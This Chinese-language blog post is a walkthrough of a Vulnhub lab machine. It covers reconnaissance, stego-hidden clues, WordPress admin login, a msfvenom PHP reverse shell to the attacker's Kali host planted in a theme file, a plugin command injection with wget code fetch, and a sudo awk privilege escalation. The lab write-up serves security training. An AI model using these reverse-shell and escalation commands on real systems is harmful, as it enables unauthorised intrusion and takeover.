资讯专栏INFORMATION COLUMN

Vulnhub未知攻焉知防系列之三

IT那活儿 / 2152人阅读
Vulnhub未知攻焉知防系列之三
[
前言
]


本文为系列文章第三篇,难度为中级,本篇需要打开思维,如何利用已收集的信息拿到更多的信息,信息收集的能力是关键。在这里,你将会了解到图片隐写的技术,如何使用msfvenom(美少妇)生成木马或是利用wordpress插件的命令执行漏洞,通过metasploit获取目标主机的权限,之后使用linux中的awk进行提权。


[
攻击思路描述
]


1、信息收集:


  1. 对目标进行端口扫描探测开放的端口及应用,目标主机开放了22端口和80端口。

  2. 从80端口(web服务)入手,进行目录扫描,发现可用目录/img和wordpress应用,访问/img发现一张图片,下载该图片后,使用strings命令发现图片中隐藏的关键信息(之后发现是目录),访问新发现的目录得到一串字符串,解密后得到一组用户名密码(为wordpress的用户名密码),进入wordpress后台界面后使用msfvenom生成木马上传或者利用wordpress插件的命令执行漏洞,再通过metasploit获取目标权限。


2、提权:

拿到服务器权限后一般是低权限账号,那么就需要提权,本次通过linux的awk进行提权拿到root权限。

靶机难度:中级

靶机描述:

Flag: boot-root

Learing: exploit | web application Security | Privilege Escalation

Contact.. https://www.linkedin.com/in/rahulgehlaut/
This works betterin VirtualBox than VMware


靶机地址

靶机ip:192.168.1.106

Kaliip:192.168.1.104

用到的知识点、工具和漏洞:


  • Nmap:一款开源的端口扫描器,用于端口扫描及服务识别

  • Dirbuster:一款目录扫描器,kali中自带,用于目录探测

  • 图片隐写:将信息隐写至图片文件中的技术

  • Metasploit:集成了大量攻击脚本的安全框架,并固化了利用流程,kali中自带

  • Msfvenom:简称美少妇,用于生成木马的工具,kali中自带

  • wordpress插件反弹shell:wordpress是一款国外免费开源的博客软件和内容管理系统

01.信息收集


主机探测:netdiscover-i eth0 -r 192.168.1.0/24


端口探测及服务识别:nmap-sS -sV -T5 -A 192.168.1.106


当前靶机开放了22和80端口,首先以80的web服务为突破口。

Ofcourse 先扫波目录,这里使用的kali自带的dirbuster


/css和/html目录下没发现啥有用的信息,/img目录下发现1个图片,好明显的的提示呀


打开看看,好像也没啥有用的信息,先下载下来到本地,网上搜了下有种图片隐写的技术,可能有突破口。


使用strings命令查看一下,发现了疑似密码的字符串,先记录下。


刚才扫目录还发现了wordpress,先用wpscan扫一波看看,扫出一个web用户,于是尝试用刚才的密码去登录下试试,没啥用。看来那个不是密码,那会是什么,肯定有什么作用。


各种尝试,又试了一下url,果然是的,发现了新大陆呀,找到了flag2

打开一看似乎是某种加密,网上搜了一下是brainfuck

于是在网上找了brainfuck在线解码网站,得到一对用户名密码

看来这就是wordpress的用户名密码了。(其实到这里已经可以走捷径了,后面提权的时候才发现,这里可以直接使用ssh登录进去)登录进去后发现该用户权限挺大的。


这里有两种getshell的方式:

1.是通过Appearance下的themeeditor模块添加php反弹shell的代码,再用metasploist监听获取shell

2.是通过Activity monitor的命令执行漏洞反弹shell,这也是作者写的walkthrough使用的方式。


我这里把两种方式都试过了,均可getshell。接下来我来展示第1种方法,也是常规方法,在具有后台管理权限时如何getshell。


首先进入到themeeditor目录下


在右边文件目录下找1个php页面填充反弹shell的代码,我这里在404.php里填充,php代码使用msfvenom生成

Msfvenom -p php/meterpreter/reverse_tcp  lhost=192.168.1.104 lport=1234 -oshell.php

这里lhost填写的是kali的ip,之后metesploist的信息要与这里一致


将php代码填充到404.php里,这里注意要将前面的/*去掉,不然代码无法生效,之后点击保存。


现在打开metasploit,准备反弹shell


然后网页通过访问

http://192.168.1.106/wordpress/wp-content/themes/twentynineteen/404.php即可反弹shell


拿到shell第1件事就是获取一个标准shell,可通过以下命令获取python-c import pty; pty.spawn("/bin/bash")


然后展示第2种反弹shell的方法,进入Activitymonitor目录下有个Tools



确实可以存在命令执行,但该输入框存在长度限制,这里使用浏览器修改前端参数绕过


然后使用wget下载php代码,然后开启metasploit监听,网页通过phpxxx.php执行php代码反弹shell。

kali上使用python-m SimpleHTTPServer 80开启临时web服务,然后网页上点击lookup即可下载php代码


使用之前Metasploit设置的参数继续监听

成功反弹shell,到此两种方法都已演示完毕,如果有其他方法,大家可以一起交流


02.提权

下面需要进行提权,因为刚得到的shell权限较低,得想办法获取高权限账户,最终获取root权限。


Cat/etc/passwd查看一下系统存在的用户


发现一个用户叫web,之前wordpress得到一组用户名密码就是web的,于是尝试切换用户,没想到成功切换了。(做到这里发现,之前完全可以通过ssh直接登录,也就省略了反弹shell的步骤,不过要不是凑巧账户密码一样也不能成功,所以这里说明账号口令尽量不要设置成相同口令,然而事实上我们很多口令都是设成一样的,警示!)


接下来看看home目录下有啥东西,找到第三个flag


最后就是如何获取root权限,有以下几个思路

  • Sudo -l 查询具有sudo权限命令,然后提权

  • SUID提权,find / -perm -u=s -type f 2>/dev/null

  • 通过在/etc/passwd添加一个root权限的账户进行提权,

  • find / -writable -type f 2>/dev/null 查找可利用的可写文件

  • 内核提权


这里使用sudo-l 查询有哪些sudo权限命令


这里需通过awk提权


如此看来可以通过该命令提权

sudo/usr/bin/awk {system("/bin/bash")}


获取最后一个flag


[
防护总结
]


  1. 对于存储的用户名密码使用强加密算法

  2. 不信任用户的输入,进行过滤或白名单校验

  3. 对于linux中的某些命令不要赋予sudo权限

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/130064.html

相关文章

  • [系统安全] 三十五.Procmon工具基本用法及文件进程、注册表查看

    摘要:本文将分享软件基本用法及文件进程注册表查看,这是一款微软推荐的系统监视工具,功能非常强大可用来检测恶意软件。可以帮助使用者对系统中的任何文件注册表操作进行监视和记录,通过注册表和文件读写的变化,有效帮助诊断系统故障或发现恶意软件病毒及木马。 ...

    kk_miles 评论0 收藏0

发表评论

0条评论

IT那活儿

|高级讲师

TA的文章

阅读更多
最新活动
阅读需要支付1元查看
<